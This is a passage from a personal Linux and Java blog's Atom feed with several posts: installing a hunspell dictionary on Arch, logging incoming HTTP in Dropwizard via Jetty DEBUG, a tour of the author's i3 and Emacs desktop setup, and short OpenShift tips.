.::/usr/share/hunspell:/usr/share/myspell:/usr/share/myspell/dicts:/Library/Spelling:/home/torstein/.openoffice.org/3/user/wordbook:/home/torstein/.openoffice.org2/user/wordbook:/home/torstein/.openoffice.org2.0/user/wordbook:/home/torstein/Library/Spelling:/opt/openoffice.org/basis3.0/share/dict/ooo:/usr/lib/openoffice.org/basis3.0/share/dict/ooo:/opt/openoffice.org2.4/share/dict/ooo:/usr/lib/openoffice.org2.4/share/dict/ooo:/opt/openoffice.org2.3/share/dict/ooo:/usr/lib/openoffice.org2.3/share/dict/ooo:/opt/openoffice.org2.2/share/dict/ooo:/usr/lib/openoffice.org2.2/share/dict/ooo:/opt/openoffice.org2.1/share/dict/ooo:/usr/lib/openoffice.org2.1/share/dict/ooo:/opt/openoffice.org2.0/share/dict/ooo:/usr/lib/openoffice.org2.0/share/dict/ooo
AVAILABLE DICTIONARIES (path is not mandatory for -d option):
Can&amp;#39;t open affix or dictionary files for dictionary named &amp;quot;en_GB&amp;quot;.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;So, I tried the most obvious thing, search for a hunspell dictionary
for English. I thought English was installed by default, but alas:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ pacman -Ss hunspell english
extra/hunspell-en_au 2020.12.07-5
    AU English hunspell dictionaries
extra/hunspell-en_ca 2020.12.07-5
    CA English hunspell dictionaries
extra/hunspell-en_gb 2020.12.07-5
    GB English hunspell dictionaries
extra/hunspell-en_us 2020.12.07-5
    US English hunspell dictionaries
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;None of these were installed by default. To get the British
dictionary, I just did:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# pacman -S extra/hunspell-en_gb
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And with that, Hunspell works everywhere, including in Emacs.&lt;/p&gt;
&lt;p&gt;Happy spell checking!&lt;/p&gt;</content><category term="linux"/><category term="linux"/><category term="emacs"/><category term="language"/></entry><entry><title>Inspect Incoming HTTP Traffic to Dropwizard micro services</title><link href="https://skybert.net/java/inspect-incoming-http-traffic-to-dropwizard-micro-services" rel="alternate"/><published>2025-04-10T00:00:00+02:00</published><updated>2025-04-10T00:00:00+02:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2025-04-10:/java/inspect-incoming-http-traffic-to-dropwizard-micro-services</id><summary type="html">&lt;p&gt;To Debug HTTP traffic into any Dropwizard micro service, can easily be
done by enabling &lt;code&gt;DEBUG&lt;/code&gt; logging on these two Jetty components:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;logging&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;level&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;ERROR&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;loggers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;org.eclipse.jetty.server.HttpChannel&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;DEBUG&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;org.eclipse.jetty.http.HttpParser&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;DEBUG&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Example output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;2024-01-26 13:27:45.375 DEBUG [2024-01-26 12:27:45 …&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</summary><content type="html">&lt;p&gt;To Debug HTTP traffic into any Dropwizard micro service, can easily be
done by enabling &lt;code&gt;DEBUG&lt;/code&gt; logging on these two Jetty components:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;logging&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;level&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;ERROR&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;loggers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;org.eclipse.jetty.server.HttpChannel&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;DEBUG&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;org.eclipse.jetty.http.HttpParser&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;DEBUG&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Example output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;2024-01-26 13:27:45.375 DEBUG [2024-01-26 12:27:45,375] org.eclipse.jetty.http.HttpParser: parseNext s=START HeapByteBuffer@3824e567[p=0,l=326,c=8192,r=326]={&amp;lt;&amp;lt;&amp;lt;GET /user/me?access_token...t: application/json\r\n\r\n&amp;gt;&amp;gt;&amp;gt;ttp://www...\x00\x00\x00\x00\x00\x00\x00}
..
2024-01-26 13:27:45.376 DEBUG [2024-01-26 12:27:45,375] org.eclipse.jetty.http.HttpParser: HEADER:User-Agent: Stibo DX CUE DAM (DC-X) 7.0.0 (http://www.digicol.de/) --&amp;gt; IN_VALUE
2024-01-26 13:27:45.376 DEBUG [2024-01-26 12:27:45,375] org.eclipse.jetty.http.HttpParser: HEADER:User-Agent: Stibo DX CUE DAM (DC-X) 7.0.0 (http://www.digicol.de/) --&amp;gt; FIELD
2024-01-26 13:27:45.376 DEBUG [2024-01-26 12:27:45,375] org.eclipse.jetty.http.HttpParser: HEADER:Accept: application/json --&amp;gt; IN_VALUE
2024-01-26 13:27:45.376 DEBUG [2024-01-26 12:27:45,375] org.eclipse.jetty.http.HttpParser: HEADER:Accept: application/json --&amp;gt; FIELD
..
2024-01-26 13:27:45.376 DEBUG [2024-01-26 12:27:45,375] org.eclipse.jetty.server.HttpChannel: REQUEST for //um.example.com/user/me?access_token=eyfoobarbaz on HttpChannelOverHttp@38e0621e{s=HttpChannelState@534aa4d7{s=IDLE rs=BLOCKING os=OPEN is=IDLE awp=false se=false i=true al=0},r=5,c=false/false,a=IDLE,uri=//um.example.com/user/me?access_token=eyfoobarbaz,age=0}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content><category term="java"/><category term="java"/><category term="network"/><category term="http"/></entry><entry><title>The way I work in 2025</title><link href="https://skybert.net/dongxi/the-way-i-work-in-2025" rel="alternate"/><published>2025-03-19T00:00:00+01:00</published><updated>2025-03-19T00:00:00+01:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2025-03-19:/dongxi/the-way-i-work-in-2025</id><summary type="html">&lt;p&gt;&lt;a href="/graphics/2025/skybert-desk.webp"&gt;
  &lt;img
    class="centered"
    src="/graphics/2025/skybert-desk.webp"
    alt="My workdesk"
    style="width: 80%; max-width: 900px;"
  /&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Hardware&lt;/h2&gt;
&lt;p&gt;The rock on which all stands, is an &lt;a href="https://www.lenovo.com/no/no/p/laptops/thinkpad/thinkpadx1/thinkpad-x1-carbon-gen-12-14-inch-intel/"&gt;ThinkPad X1 Carbon Gen
12&lt;/a&gt;. I've
been running X1s the last 10 years, and this one is the fastest I've
had yet with an &lt;a href="https://www.intel.com/content/www/us/en/products/sku/237327/intel-core-ultra-7-processor-155u-12m-cache-up-to-4-80-ghz/specifications.html"&gt;i7 155U
CPU&lt;/a&gt;
and 32 GBs of RAM. It's light, it's fast, it has a great keyboard …&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;a href="/graphics/2025/skybert-desk.webp"&gt;
  &lt;img
    class="centered"
    src="/graphics/2025/skybert-desk.webp"
    alt="My workdesk"
    style="width: 80%; max-width: 900px;"
  /&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Hardware&lt;/h2&gt;
&lt;p&gt;The rock on which all stands, is an &lt;a href="https://www.lenovo.com/no/no/p/laptops/thinkpad/thinkpadx1/thinkpad-x1-carbon-gen-12-14-inch-intel/"&gt;ThinkPad X1 Carbon Gen
12&lt;/a&gt;. I've
been running X1s the last 10 years, and this one is the fastest I've
had yet with an &lt;a href="https://www.intel.com/content/www/us/en/products/sku/237327/intel-core-ultra-7-processor-155u-12m-cache-up-to-4-80-ghz/specifications.html"&gt;i7 155U
CPU&lt;/a&gt;
and 32 GBs of RAM. It's light, it's fast, it has a great keyboard. I
love it to bits.&lt;/p&gt;
&lt;p&gt;I use only one external screen, a &lt;a href="https://www.amazon.com/Dell-LED-Lit-Monitor-U2518D-Compatibility/dp/B075KGLYRL"&gt;Dell UltraSharp
25"&lt;/a&gt;
(U2515H) with 2560x1440 resolution. I used to have two screens, then
changed to a super wide screen. These days, I actually find having
one, regular external screen not only sufficient, but also
preferable. There's a certain calmnes of having only one screen and it
gives me more focus.&lt;/p&gt;
&lt;p&gt;The keyboard I'm using at work is &lt;a href="https://www.duckychannel.com.tw/en/Ducky-One2-Skyline-TKL"&gt;Ducky One 2 Skyline
TKL&lt;/a&gt;. It's
fast and easy to type on. At home, I have my favourite keyboard (and
noisier!), &lt;a href="https://www.hhkeyboard.com/uk/products/pro2"&gt;Happy Hacking Professional
2&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Music is a necessity to concentrate. For about five years now, I've
been enjoying the &lt;a href="https://www.sony.com/et/electronics/headband-headphones/wh-1000xm4"&gt;Sony
WH-1000XM&lt;/a&gt;
series. The sound is good, the noise cancelling adequate and they're
comfortable to wear.&lt;/p&gt;
&lt;h2&gt;Operating system&lt;/h2&gt;
&lt;p&gt;&lt;img
  src="/graphics/2025/archlinux.small.webp"
  alt="Arch Linux logo"
  style="float: right; padding: 0.8em;"
/&gt;&lt;/p&gt;
&lt;p&gt;I love &lt;a href="https://archlinux.org/"&gt;Arch Linux&lt;/a&gt; and use it both for work
and my home desktop computers. Debian is still my preferred server
operating system, but on the desktop, Arch rules supreme.&lt;/p&gt;
&lt;p&gt;Arch gives me the latest versions of desktop application and
environments, without seemingly ever to break my system. I upgrade
&lt;em&gt;all&lt;/em&gt; the packages &lt;em&gt;every&lt;/em&gt; day, but cannot remmeber anything
breaking. It's big feat.&lt;/p&gt;
&lt;p&gt;Another thing I dig about Arch, is that I don't need Flatpak, Snaps or
AppImages. Everything's either in the official repositories or in
AUR. I never need to install a package a different way, I just use one
command: &lt;a href="https://github.com/Morganamilo/paru"&gt;paru&lt;/a&gt;. paru deals with
both official and AUR pacakges.&lt;/p&gt;
&lt;h2&gt;Desktop environment&lt;/h2&gt;
&lt;p&gt;For seven years now, I've been using &lt;a href="https://i3wm.org/"&gt;i3&lt;/a&gt;. I like
it more and more, how it stays out of the way and lets me get on with
my work. It's highly configurable, and I've had a stable setup for
years.&lt;/p&gt;
&lt;p&gt;As is normal with i3, I have &lt;kbd&gt;Alt&lt;/kbd&gt; +
&lt;kbd&gt;&amp;lt;number&amp;gt;&lt;/kbd&gt; shortcuts to jump to any of the 10 virtual
workspaces. I've configured the window manager to always open certain
apps on dedicated workspaces. For instance, my coding editor is always
on workspace &lt;code&gt;1&lt;/code&gt;, my web browser windows always on workspace &lt;code&gt;2&lt;/code&gt; and
so on. Thus, I can blindly hit &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;2&lt;/kbd&gt; and be
sure I'll instantly see my browser tabs.&lt;/p&gt;
&lt;p&gt;My workspaces are as follows:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Primary coding enviroment (Emacs ♥️)&lt;/li&gt;
&lt;li&gt;Web browser&lt;/li&gt;
&lt;li&gt;Terminals&lt;/li&gt;
&lt;li&gt;Secondary coding environment&lt;/li&gt;
&lt;li&gt;Whatever goes&lt;/li&gt;
&lt;li&gt;Whatever goes&lt;/li&gt;
&lt;li&gt;Personal browser&lt;/li&gt;
&lt;li&gt;Snapshot manager and VPN&lt;/li&gt;
&lt;li&gt;Music and sound control&lt;/li&gt;
&lt;li&gt;Personal chat (Signal)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;I prioritise screen real estate, so I have no window decorations, no
toolbar, no notificaiton area, no nothing. The mouse has no use apart
from clicking around on websites 😃&lt;/p&gt;
&lt;p&gt;Apart from &lt;a href="https://gitlab.com/skybert/my-little-friends/-/blob/master/i3/config#L1"&gt;my i3 configuration
itself&lt;/a&gt;,
the important additions that make i3 great for me are Greenclip and
rofi.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/erebe/greenclip"&gt;Greenclip clipboard manager&lt;/a&gt;. It
supports both text and images and allows me to have a long history of
copied content that I can choose from when I want to paste it
somewhere else. For instance, I often want to copy 2 things from a
Jira issue when pasting it into Slack: The title and the Jira issue
link. So I first copy both these things from Jira, I &lt;em&gt;then&lt;/em&gt; switch to
the other app and invoke Greenclip to select the text I need.&lt;/p&gt;
&lt;p&gt;The second taste of secret sauce for my i3 setup, is
&lt;a href="https://github.com/davatorium/rofi"&gt;rofi&lt;/a&gt;. It gives me fuzzy search
for switching windows as well as launching applications. It being text
based means it's lightning fast too.&lt;/p&gt;
&lt;p&gt;&lt;a href="/graphics/2025/skybert-rofi-window.webp"&gt;
  &lt;img
    class="centered"
    src="/graphics/2025/skybert-rofi-window.webp"
    alt="rofi window"
    style="width: 80%; max-width: 900px;"
  /&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;With rofi, I get easy asccess to all my open windows, on all desktops.&lt;/p&gt;
&lt;p&gt;&lt;a href="/graphics/2025/skybert-rofi-window-fuzzy.webp"&gt;
  &lt;img
    class="centered"
    src="/graphics/2025/skybert-rofi-window-fuzzy.webp"
    alt="rofi window fuzzy search"
    style="width: 80%; max-width: 900px;"
  /&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;In this screenshot, I want to navigate to the web browser window where
I'm reading a Wikipedia page. Just typing &lt;code&gt;wi&lt;/code&gt; quickly narrows it
down, adding &lt;code&gt;k&lt;/code&gt; makes it unique and I can just hit &lt;kbd&gt;Enter&lt;/kbd&gt;
to go to the correct Firefox window.&lt;/p&gt;
&lt;p&gt;&lt;a href="/graphics/2025/skybert-rofi-run.webp"&gt;
  &lt;img
    class="centered"
    src="/graphics/2025/skybert-rofi-run.webp"
    alt="rofi run"
    style="width: 80%; max-width: 900px;"
  /&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Here showing the rofi dialogue for running an arbitrary
command. There's a also a rofi view for applications, but I like the
run dialogue better as it lets me run any command, like &lt;code&gt;i3-msg move
workspace to output right&lt;/code&gt; to move the desktop on my screen to the
left, onto the right hand monitor. The rofi run dialogue remembers
previously type commands, making it super fast to use.&lt;/p&gt;
&lt;p&gt;Lastly, I like make the desktop look good too, so I use
&lt;a href="https://github.com/yshui/picom"&gt;picom&lt;/a&gt; to add translucency to a
selected few of my windows: My editor, my terminals and the simple X
applications, like
&lt;a href="https://www.x.org/archive/X11R7.6/doc/man/man1/xclock.1.xhtml"&gt;xclock&lt;/a&gt;
and
&lt;a href="https://www.x.org/archive/X11R7.6/doc/man/man1/xload.1.xhtml"&gt;xload&lt;/a&gt;. You
can find &lt;a href="https://gitlab.com/skybert/my-little-friends/-/blob/master/picom/picom.conf"&gt;my picom conf
here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Speed is a big feature of my setup in general. I want it to be
fast. And i3 with rofi and greenclip is indeed fast. It also makes
richer desktop environments not an option for me.&lt;/p&gt;
&lt;h2&gt;Screenshotting tool&lt;/h2&gt;
&lt;p&gt;&lt;a href="/graphics/2025/skybert-ksnip.webp"&gt;
  &lt;img
    class="centered"
    src="/graphics/2025/skybert-ksnip.webp"
    alt="ksnip is awesome"
    style="width: 80%; max-width: 900px;"
  /&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I've tried &lt;em&gt;many&lt;/em&gt; screenshotting tools, but have found none that works
as well as &lt;a href="https://github.com/ksnip/ksnip"&gt;ksnip&lt;/a&gt;. It both allows me
to easily select app windows, regions or screens, and it has an
excellent selection of annotation tools to add numbers, arrows and
boxes to the screenshots so that I can clearly convey &lt;em&gt;why&lt;/em&gt; I want to
show you the screenshot 🤣&lt;/p&gt;
&lt;h2&gt;Coding environment&lt;/h2&gt;
&lt;p&gt;&lt;a href="/graphics/2025/skybert-emacs-30.1.webp"&gt;
  &lt;img
    class="centered"
    src="/graphics/2025/skybert-emacs-30.1.webp"
    alt="Emacs 30.1 editing some files and using magit"
    style="width: 80%; max-width: 900px;"
  /&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.gnu.org/software/emacs/"&gt;Emacs&lt;/a&gt; is by my preferred code
editing environment and by far the app I used the most. In the
screenshot above, you can see my Emacs 30.1, with &lt;a href="https://www.gnu.org/software/emacs/manual/html_node/elisp/Native-Compilation.html"&gt;native
compilation&lt;/a&gt;,
and skinned using the &lt;a href="https://github.com/konkrotte/sweet-theme"&gt;sweet
theme&lt;/a&gt; and the&lt;a href="https://github.com/adobe-fonts/source-code-pro"&gt;Source Code
Pro font&lt;/a&gt; from Adobe.&lt;/p&gt;
&lt;p&gt;I've tweaked my
&lt;a href="https://gitlab.com/skybert/my-little-friends/-/blob/master/emacs/.emacs?ref_type=heads"&gt;.emacs&lt;/a&gt;
since the year 2000 and have got it about right now, lol.&lt;/p&gt;
&lt;h2&gt;Web browser&lt;/h2&gt;
&lt;p&gt;&lt;a href="/graphics/2025/skybert-firefox.webp"&gt;
  &lt;img
    class="centered"
    src="/graphics/2025/skybert-firefox.webp"
    alt="Firefox using the Sweet dark theme"
    style="float: right; padding: 0.8em; width: 30%; max-width: 300px;"
  /&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;My primary browser is Firefox. It's fast, has excellent plugin support
and is the browser being the closest &lt;a href="https://www.gnu.org/philosophy/free-sw.en.html"&gt;the four
freedoms&lt;/a&gt;, which I
think is important.&lt;/p&gt;
&lt;p&gt;I find it useful to &lt;a href="http://mzl.la/1BARsAT"&gt;pin&lt;/a&gt; the websites I use
the most as this will both load the websites I always need when
starting the browser, and I have a fixed screen realestate to go for
these. The sites I have pinned are: &lt;a href="https://slack.com"&gt;Slack&lt;/a&gt; for
chat, &lt;a href="https://outlook.office.com"&gt;Outlook&lt;/a&gt; for mail,
&lt;a href="https://teams.microsoft.com"&gt;Teams&lt;/a&gt; for video chat and calendar,
&lt;a href="https://bitbucket.org/product/"&gt;Bitbucket&lt;/a&gt; for PR code reviews and
&lt;a href="https://chatgpt.com/"&gt;ChatGPT&lt;/a&gt; for research.&lt;/p&gt;
&lt;p&gt;Furthermore, I've changed my way of using the bookmark bar. These
days, I prefer it to be visible at all times, and I've added a button
for creating a screenshot since some websites grab the right click,
which is the normal way &lt;a href="https://mzl.la/3Qwvmfp"&gt;to creates
screenshotts&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;To make it look nice, I use the beautiful &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/sweet-dark/reviews/"&gt;Sweet-Dark
theme&lt;/a&gt;
by Eliver Lara.&lt;/p&gt;
&lt;p&gt;The plugin &lt;a href="https://languagetool.org/"&gt;LanguateTool&lt;/a&gt; helps improving
my writing of English, German and Norwegian alike.&lt;/p&gt;
&lt;p&gt;Websites become a lot easier to read, thanks to &lt;a href="https://github.com/gorhill/uBlock#ublock-origin"&gt;uBlock
Origin&lt;/a&gt; blocking
flashy ads.&lt;/p&gt;
&lt;h2&gt;Start of the day script&lt;/h2&gt;
&lt;p&gt;&lt;img
  class="centered"
  src="/graphics/2025/skybert-@home.webp""
  style="width: 80%; max-width: 900px;"
  alt="Running my @home script"
/&gt;&lt;/p&gt;
&lt;p&gt;I run one of two scripts every morning:
&lt;a href="https://gitlab.com/skybert/my-little-friends/-/blob/master/bash/%40home"&gt;@home&lt;/a&gt;
and
&lt;a href="https://gitlab.com/skybert/my-little-friends/-/blob/master/bash/%40work"&gt;@work&lt;/a&gt;. As
you've probably have guessed, I run &lt;code&gt;@home&lt;/code&gt; when I work from home and
&lt;code&gt;@work&lt;/code&gt; when I'm in the office. They set up network access, DNS, VPN,
external screens and other things that are dependent on my physical
location. Both of them then call
&lt;a href="https://gitlab.com/skybert/my-little-friends/-/blob/master/bash/%40daily"&gt;@daily&lt;/a&gt;,
which ensures my environment is both ready to use and up to date:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Starts an SSH agent&lt;/li&gt;
&lt;li&gt;Syncs my documents and notes&lt;/li&gt;
&lt;li&gt;Updates the &lt;em&gt;entire&lt;/em&gt; operating system&lt;/li&gt;
&lt;li&gt;Creates a backup of my most important files that are not version controlled.&lt;/li&gt;
&lt;li&gt;Creates a start page for my browser. The start page has things like my
   recent Git and Jira history the last couple of days, so that I have
   all I need for the standup meeting later in the day.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;a href="/graphics/2025/skybert-dash.webp"&gt;
  &lt;img
    class="centered"
    src="/graphics/2025/skybert-dash.webp"
    alt="Skybert's generated browser start page"
    style="height: 30%; max-height: 400px;"
  /&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The command that creates the start page is called &lt;code&gt;skybert-dash&lt;/code&gt; and
&lt;a href="https://github.com/skybert/skybert-dash/blob/main/skybert-dash"&gt;you can use it
too&lt;/a&gt;. The
start page looks like this 👆&lt;/p&gt;
&lt;h2&gt;Keeping up with the news&lt;/h2&gt;
&lt;p&gt;&lt;a href="/graphics/2025/skybert-elfeed.webp"&gt;
  &lt;img
    class="centered"
    src="/graphics/2025/skybert-elfeed.webp"
    alt="Reading RSS feeds in Emacs/elfeed"
    style="width: 80%; max-width: 900px;"
  /&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I get my tech news from two sources: &lt;a href="https://en.wikipedia.org/wiki/RSS"&gt;RSS
feeds&lt;/a&gt; and
&lt;a href="https://hachyderm.io/@skybert"&gt;Mastadon&lt;/a&gt;. Reading RSS feeds with a
good reader, here using &lt;a href="https://github.com/skeeto/elfeed"&gt;elfeed&lt;/a&gt; is
super fast and lets me focus on the most important things without
being distractted by animated kittens and other nonsense.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://gitlab.com/skybert/my-little-friends/-/blob/master/emacs/.emacs.d/tkj-elfeed.el#L6"&gt;These are the
feeds&lt;/a&gt;
I'm currently subscribed to.&lt;/p&gt;
&lt;h2&gt;Music&lt;/h2&gt;
&lt;p&gt;&lt;a href="/graphics/2025/skybert-mpv.webp"&gt;
  &lt;img
    class="centered"
    src="/graphics/2025/skybert-mpv.webp"
    alt="Playing music using the mpv command line client"
    style="width: 80%; max-width: 900px;"
  /&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Although I love Spotify, often times, I prefer playing my local OGG
and MP3 collection using a command line client. I shuffle my entire
collection, ensuring I get a good mix of everything from classical and
opera to hard rock and blues.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ mpv --shuffle --audio-display=no --input-ipc-server=/tmp/mpvsocket ~/music/
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;I ask &lt;a href="https://mpv.io/"&gt;mpv&lt;/a&gt; to set up a socket to which I can control
it using desktop shortcuts. E.g. to pause, I hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;
&lt;kbd&gt;Shift&lt;/kbd&gt; &lt;kbd&gt;4&lt;/kbd&gt;. To jump to the previous track, I hit
&lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;Shift&lt;/kbd&gt; &lt;kbd&gt;6&lt;/kbd&gt; and to jump to next
track, I hit &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;Shift&lt;/kbd&gt; &lt;kbd&gt;7&lt;/kbd&gt;. That's it
really. An eternal play list and three shortcuts. That's all I need.&lt;/p&gt;
&lt;h2&gt;That's it&lt;/h2&gt;
&lt;p&gt;Hope you enjoyed this tour of my desktop. Happy hacking!&lt;/p&gt;</content><category term="dongxi"/><category term="linux"/><category term="fluxbox"/><category term="debian"/><category term="i3"/></entry><entry><title>Watching Openshift cluster events</title><link href="https://skybert.net/linux/watching-openshift-cluster-events" rel="alternate"/><published>2025-03-19T00:00:00+01:00</published><updated>2025-03-19T00:00:00+01:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2025-03-19:/linux/watching-openshift-cluster-events</id><content type="html">&lt;p&gt;When my Openshift cluster is bootstrapping, I prefer watching the
progress with:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ watch &amp;quot;oc get events --sort-by &amp;#39;{.metadata.creationTimestamp}&amp;#39; | tail -n 20&amp;quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The &lt;a href="https://docs.redhat.com/en/documentation/openshift_container_platform/4.8/html/building_applications/odc-viewing-application-composition-using-topology-view#creating-a-visual-connection-between-components"&gt;animated topology
GUI&lt;/a&gt;
is nice, but the above command gives me more details as to exactly
what it is doing with what component.&lt;/p&gt;</content><category term="linux"/><category term="linux"/><category term="openshift"/><category term="kubernetes"/><category term="containers"/></entry><entry><title>Scaling a pod in Openshift</title><link href="https://skybert.net/linux/scaling-a-pod-in-openshift" rel="alternate"/><published>2025-03-17T00:00:00+01:00</published><updated>2025-03-17T00:00:00+01:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2025-03-17:/linux/scaling-a-pod-in-openshift</id><summary type="html">&lt;p&gt;Scaling a pod down an up again is the same as restarting a pod, it's
just that the container folks like to use fancy words:&lt;/p&gt;
&lt;p&gt;The thing you scale down and up is a
&lt;a href="https://kubernetes.io/docs/concepts/workloads/controllers/deployment/"&gt;deployment&lt;/a&gt;,
which is one abstraction above a pod.&lt;/p&gt;
&lt;p&gt;You can get a list of deployments with …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Scaling a pod down an up again is the same as restarting a pod, it's
just that the container folks like to use fancy words:&lt;/p&gt;
&lt;p&gt;The thing you scale down and up is a
&lt;a href="https://kubernetes.io/docs/concepts/workloads/controllers/deployment/"&gt;deployment&lt;/a&gt;,
which is one abstraction above a pod.&lt;/p&gt;
&lt;p&gt;You can get a list of deployments with:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ oc get deployments
foo-ice-cream
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ oc scale deployment/foo-ice-cream --replicas=0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Give it a second or two, and then scale it up again to get a fresh pod
with containers, fresh of any disk or in-memory state left behind that
wasn't mounted or injected:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ oc scale deployment/foo-ice-cream --replicas=1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Happy scaling!&lt;/p&gt;</content><category term="linux"/><category term="linux"/><category term="containers"/><category term="openshift"/></entry><entry><title>The World is Mean, So Your Load Tests Must Be Meaner</title><link href="https://skybert.net/craftsmanship/the-world-is-mean-so-your-load-tests-must-be-meaner" rel="alternate"/><published>2025-02-11T00:00:00+01:00</published><updated>2025-02-11T00:00:00+01:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2025-02-11:/craftsmanship/the-world-is-mean-so-your-load-tests-must-be-meaner</id><summary type="html">&lt;p&gt;It's amazing how your backend service works fine when testing it with
curl, postman or a frontend GUI, but fails all over the place when
unleashing a mean load testing tool like
&lt;a href="https://www.joedog.org/siege-manual/"&gt;siege&lt;/a&gt; on it:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;DB pool exhaustion&lt;/li&gt;
&lt;li&gt;HTTP connector settings out of sync with other components&lt;/li&gt;
&lt;li&gt;Integrations with 3rd …&lt;/li&gt;&lt;/ul&gt;</summary><content type="html">&lt;p&gt;It's amazing how your backend service works fine when testing it with
curl, postman or a frontend GUI, but fails all over the place when
unleashing a mean load testing tool like
